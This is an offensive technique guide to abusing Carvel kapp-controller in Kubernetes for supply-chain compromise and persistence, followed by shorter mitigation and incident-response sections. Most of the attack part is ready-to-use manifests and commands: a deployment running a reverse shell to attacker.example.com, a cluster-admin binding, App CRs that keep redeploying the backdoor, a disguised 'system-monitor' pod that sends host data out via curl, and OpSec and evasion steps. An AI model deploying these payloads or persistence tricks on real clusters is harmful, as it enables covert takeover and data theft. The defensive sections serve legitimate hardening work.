| Attribute | Details |
|---|---|
| Technique ID | K8S-SUPPLY-003 |
| MITRE ATT&CK v18.1 | T1195.001 - Supply Chain Compromise: Compromise Software Repository |
| Tactic | Initial Access / Persistence / Supply Chain Compromise |
| Platforms | Kubernetes |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Carvel kapp-controller 0.40.0+, kapp CLI all versions |
| Patched In | N/A - Requires defensive controls and secure configuration practices |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Kubernetes Package Manager (KAPP) Abuse is a supply chain and persistence attack leveraging Carvel’s kapp-controller for malicious application deployment and lifecycle management. Kapp-controller is an operator within Kubernetes that enables declarative application management, GitOps-style deployments, and package management through AppCR resources. Attackers exploit insecure kapp configurations, compromised Git repositories referenced by App CRs, or misuse of privileged service accounts to inject malicious applications that persist across cluster updates and operate with cluster-admin or namespace-admin privileges. Unlike Helm, kapp-controller operates continuously within the cluster, making it a persistent backdoor mechanism if compromised.
Attack Surface: Carvel kapp-controller instances, Git repositories referenced by App CRs, image repositories referenced in kapp configurations, kapp-controller RBAC permissions, and AppCR specifications that can be modified by cluster users. The attack also leverages kapp’s package management features and the ability to define custom deployment ordering and resource dependencies.
Business Impact: Persistent cluster compromise, privilege escalation through controller abuse, supply chain pollution, GitOps pipeline manipulation, automatic malicious application deployment. Organizations relying on kapp-controller face continuous malicious application deployment, undetectable persistence through GitOps mechanisms, lateral movement through privileged controller service account, and resilience against remediation due to declarative reconciliation loops.
Technical Context: Kapp-controller continuously reconciles desired state, meaning deleted malicious applications are automatically redeployed if the App CR remains. Attacks are difficult to detect because they appear as normal declarative configurations. The controller may have elevated privileges granting access to cluster-admin secrets and configuration.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Kubernetes | 5.1 / 5.2 | RBAC and service account restrictions for operators |
| CIS Kubernetes | 4.1 | Restrict access to cluster events and configurations |
| NIST 800-53 | AC-6 / AC-3 | Least privilege and access control |
| GDPR | Art. 32 | Security measures and access control |
| NIS2 | Art. 21 | Risk management and GitOps integrity |
| ISO 27001 | A.9.2 / A.9.4 | Access control and privilege management |
Supported Versions:
Tools:
# Check if kapp-controller is installed
kubectl get deployment -A | grep kapp-controller
kubectl get ns | grep kapp-controller
# Inspect kapp-controller configuration
kubectl get deployment kapp-controller -n kapp-controller -o yaml
# Check service account permissions
kubectl get rolebinding,clusterrolebinding -A | grep kapp
kubectl get serviceaccount kapp-controller -n kapp-controller -o yaml
What to Look For:
# List all App CRs in cluster
kubectl get app -A
kubectl describe app -n <namespace>
# Examine App CR specifications
kubectl get app <app-name> -n <namespace> -o yaml
# Check Git repository references
kubectl get app -A -o jsonpath='{.items[*].spec.fetch.git}' | grep -i "url\|repository"
# Check image sources
kubectl get app -A -o jsonpath='{.items[*].spec.template[*].image}'
What to Look For:
# Check kapp-controller RBAC
kubectl get clusterrole kapp-controller -o yaml | grep -i "resources\|verbs"
# Test what kapp-controller can do
kubectl auth can-i get configmaps --as=system:serviceaccount:kapp-controller:kapp-controller --all-namespaces
# List all resources controller has access to
kubectl get clusterrolebindings -o yaml | grep -A5 "kapp-controller"
What to Look For:
*) or admin roles assigned to controllerSupported Versions: kapp-controller 0.40.0+, Kubernetes 1.16+
Objective: Set up Git repository containing malicious application manifests
Command (Repository Setup):
# Create private Git repository with malicious application
mkdir malicious-app-repo
cd malicious-app-repo
git init
# Create malicious kapp configuration
cat > kapp-config.yaml << 'EOF'
apiVersion: kapp.k14s.io/v1alpha1
kind: Config
minimumKappVersion: "0.40.0"
# Ensure deployments order (backdoor deploys first)
templates:
- paths:
- "manifests/"
resourceMatchers:
- kindRegexps:
- Deployment
apiVersionRegexps:
- apps/v1
# Enable override to allow privilege escalation
rebaseRules: []
EOF
# Create backdoored deployment
cat > manifests/deployment.yaml << 'EOF'
apiVersion: apps/v1
kind: Deployment
metadata:
name: malicious-app
spec:
replicas: 1
selector:
matchLabels:
app: backdoor
template:
metadata:
labels:
app: backdoor
spec:
serviceAccountName: malicious-sa
containers:
- name: backdoor
image: attacker-registry.com/backdoor:latest
imagePullPolicy: Always
command:
- sh
- -c
- |
# Reverse shell to attacker C2
while true; do
bash -i >& /dev/tcp/attacker.example.com/4444 0>&1 || true
sleep 60
done
env:
- name: KUBECONFIG
value: /var/run/secrets/kubernetes.io/serviceaccount/config
volumeMounts:
- name: sa-token
mountPath: /var/run/secrets/kubernetes.io/serviceaccount
volumes:
- name: sa-token
projected:
sources:
- serviceAccountToken:
path: token
expirationSeconds: 3600
EOF
# Create privileged service account
cat > manifests/serviceaccount.yaml << 'EOF'
apiVersion: v1
kind: ServiceAccount
metadata:
name: malicious-sa
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: malicious-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: malicious-sa
namespace: default
EOF
# Commit to repository
git add .
git commit -m "Initial application setup"
Expected Output:
[main (root-commit) abc1234] Initial application setup
3 files changed, 50 insertions(+)
What This Means:
OpSec & Evasion:
Objective: Deploy malicious application through kapp-controller via App CR
Command (App CR Creation):
# Create App CR referencing malicious Git repository
kubectl apply -f - << 'EOF'
apiVersion: packaging.carvel.dev/v1alpha1
kind: App
metadata:
name: malicious-app
namespace: default
spec:
# Reference malicious Git repository
fetch:
- git:
url: https://attacker.example.com/malicious-app-repo.git
ref: main
secretRef:
name: git-creds # Or omit if public
# Template manifests (optional - can use raw YAML)
template:
- ytt:
inline:
pathsFrom:
- secretRef:
name: app-values
# Deploy manifests
deploy:
- kapp:
rawOptions:
- --diff-changes=true
- --apply-ignored=true
EOF
Expected Output:
app.packaging.carvel.dev/malicious-app created
What This Means:
OpSec & Evasion:
Objective: Ensure malicious application survives cluster restarts and remediation attempts
Command (Persistence Configuration):
# Update App CR to re-deploy if deleted
cat > persistent-app.yaml << 'EOF'
apiVersion: packaging.carvel.dev/v1alpha1
kind: App
metadata:
name: malicious-app
namespace: default
finalizers:
- apps.carvel.dev/finalizer # Prevents accidental deletion
spec:
serviceAccountName: kapp-sa # Use elevated service account
fetch:
- git:
url: https://attacker.example.com/malicious-app-repo.git
ref: main
# Aggressive reconciliation
syncPeriod: 1m # Sync every minute
template:
- kapp: {}
deploy:
- kapp:
rawOptions:
- --wait=true
- --wait-ui=true
- --wait-check-interval=5s
EOF
kubectl apply -f persistent-app.yaml
Expected Output:
app.packaging.carvel.dev/malicious-app configured
What This Means:
Supported Versions: kapp-controller 0.40.0+, Kubernetes 1.16+
Objective: Gain write access to legitimate Git repository referenced by App CR
Command (Repository Access):
# Attacker obtains Git credentials through:
# 1. Leaked credentials in GitHub Actions secrets
# 2. Compromised developer machine
# 3. Weak repository access control
# Verify access to repository
git clone https://git-creds:token@github.com/victim-org/app-repo.git
cd app-repo
git log --oneline -5
Expected Output:
abc1234 Latest application version
def5678 Security update
ghi9012 Dependency upgrade
What This Means:
Objective: Add malicious deployment to legitimate application repository
Command (Payload Injection):
# Add backdoored deployment to legitimate repository
cat >> manifests/backdoor.yaml << 'EOF'
apiVersion: apps/v1
kind: Deployment
metadata:
name: system-monitor
namespace: kube-system
spec:
replicas: 1
selector:
matchLabels:
app: monitor
template:
metadata:
labels:
app: monitor
spec:
containers:
- name: monitor
image: attacker.example.com/monitor:latest
command: ["/bin/sh", "-c"]
args:
- |
while true; do
curl -X POST http://attacker.example.com/callback \
-d "hostname=$(hostname)" \
-d "user=$(whoami)"
sleep 300
done
EOF
# Commit malicious change
git add manifests/backdoor.yaml
git commit -m "Add system monitoring for observability"
git push origin main
Expected Output:
Enumerating objects: 3, done.
Writing objects: 100% (3/3), 250 bytes | 250.00 KiB/s, done.
Total 3 (delta 2), reused 0 (delta 0)
What This Means:
Objective: Force kapp-controller to pull and deploy updated manifests
Command (Trigger Update):
# Force immediate reconciliation
kubectl patch app malicious-app --type merge -p '{"spec":{"paused":false}}'
# Or wait for automatic reconciliation (default: every minute)
# Monitor reconciliation status
kubectl get app malicious-app -w
kubectl describe app malicious-app | grep -A10 "Status"
Expected Output:
NAME STATUS Age
malicious-app Reconciling 5s
malicious-app ReconcileSucceeded 10s
What This Means:
Supported Versions: kapp-controller 0.40.0+, Kubernetes 1.16+
Objective: Determine kapp-controller privileges
Command:
# Check kapp-controller role permissions
kubectl get clusterrole kapp-controller -o yaml
# Test what we can do as kapp-controller
kubectl auth can-i create deployments --as=system:serviceaccount:kapp-controller:kapp-controller --all-namespaces
kubectl auth can-i get secrets --as=system:serviceaccount:kapp-controller:kapp-controller --all-namespaces
Expected Output:
yes (controller can create deployments)
yes (controller can access secrets)
Objective: Use kapp-controller’s elevated privileges to escalate attack
Command (Privilege Escalation):
# Create App CR that uses controller's service account
cat > privilege-escalation.yaml << 'EOF'
apiVersion: packaging.carvel.dev/v1alpha1
kind: App
metadata:
name: secret-stealer
spec:
serviceAccountName: kapp-controller # Use controller's SA
fetch:
- git:
url: https://attacker.example.com/secret-stealer.git
deploy:
- kapp:
rawOptions:
- --apply-ignored=true
EOF
kubectl apply -f privilege-escalation.yaml
What This Means:
Restrict App CR Creation/Modification: Limit who can create and modify App CRs.
Manual Steps:
resourceNames:
Enforce Git Repository Verification: Require signed commits and approved repositories.
Manual Steps:
Restrict Kapp-Controller Service Account Permissions: Remove unnecessary privileges from controller.
Manual Steps:
apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: deny-kapp-admin roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: kapp-controller-minimal subjects:
Monitor App CR Changes: Audit and alert on App CR modifications.
Manual Steps:
# Monitor for unexpected App CR changes
kubectl get app -A -w
# Alert if App CR references unapproved Git repo
Validate Git Repository Content: Scan Git repositories for malicious content before deployment.
Manual Steps:
# .git/hooks/pre-commit
#!/bin/bash
# Scan manifests for suspicious patterns
grep -r "imagePullPolicy: Never" . && exit 1
grep -r "serviceAccountName: kapp-controller" . && exit 1
Pod Security Standards: Prevent privileged container deployment via kapp.
Manual Steps:
kubectl label namespace kapp-controller \
pod-security.kubernetes.io/enforce=restricted \
pod-security.kubernetes.io/audit=restricted
Network Policies: Restrict kapp-controller outbound connections.
Manual Steps:
# Verify RBAC restrictions
kubectl get rolebindings,clusterrolebindings -A | grep kapp
# Verify Git repository restrictions via Kyverno
kubectl get clusterpolicy | grep restrict-git
# Verify network policies
kubectl get networkpolicies -n kapp-controller
# Check App CR RBAC
kubectl auth can-i create app --as=default-user
Expected Output (If Secure):
NAME ROLE AGE
kapp-controller-minimal kapp-controller-minimal 5m
NAME VALIDATIONACTION AGE
restrict-git-repos enforce 5m
NAME POD SELECTOR AGE
kapp-controller-egress app=... 5m
no # User cannot create App CRs
kubectl get app -A -o yaml > apps-backup.yaml
kubectl describe app <app-name> -n <namespace>
cd /path/to/repo
git log --oneline -20
git show <commit-hash> # Inspect specific commit
# Query audit logs for App CR events
grep -i "app" /var/log/kube-apiserver-audit.log | grep -i "create\|patch"
kubectl logs -n kapp-controller deployment/kapp-controller -f
# Immediately delete malicious App CR
kubectl delete app <malicious-app> -n <namespace> --grace-period=0
# Force remove finalizers if stuck
kubectl patch app <malicious-app> -n <namespace> -p '{"metadata":{"finalizers":[]}}' --type=merge
# Delete resulting deployments
kubectl delete deployment <malicious-deployment> -n <namespace> --grace-period=0 --force
# Revoke compromised Git credentials
# GitHub/GitLab: Delete personal access tokens, rotate deploy keys
# Export App CR specification
kubectl get app <app-name> -n <namespace> -o yaml > app-cr.yaml
# Export kapp-controller logs
kubectl logs -n kapp-controller deployment/kapp-controller --tail=1000 > kapp-logs.txt
# Export Git commit history
git log --oneline -50 > git-history.txt
git diff HEAD~10 HEAD > git-changes.patch
# Export affected Kubernetes resources
kubectl get all -n <namespace> -o yaml > namespace-resources.yaml
# Reset Git repository to known good state
cd /path/to/repo
git reset --hard origin/main~5 # Reset to 5 commits ago
git push -f origin main
# Restart kapp-controller to reload configuration
kubectl rollout restart deployment/kapp-controller -n kapp-controller
# Force reconciliation after cleanup
kubectl patch app <legitimate-app> -n <namespace> -p '{"spec":{"paused":false}}'
# Audit RBAC to remove unauthorized permissions
kubectl delete rolebinding <malicious-binding>
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [K8S-SUPPLY-001] / [K8S-SUPPLY-002] | Helm or Container Image Poisoning |
| 2 | Persistence | [K8S-SUPPLY-003] | Malicious App CR via kapp-controller |
| 3 | Privilege Escalation | Service Account Abuse | Use controller’s elevated SA permissions |
| 4 | Lateral Movement | Cluster API Access | Access to secrets across namespaces |
| 5 | Impact | Data Exfiltration / Cluster Takeover | Complete infrastructure compromise |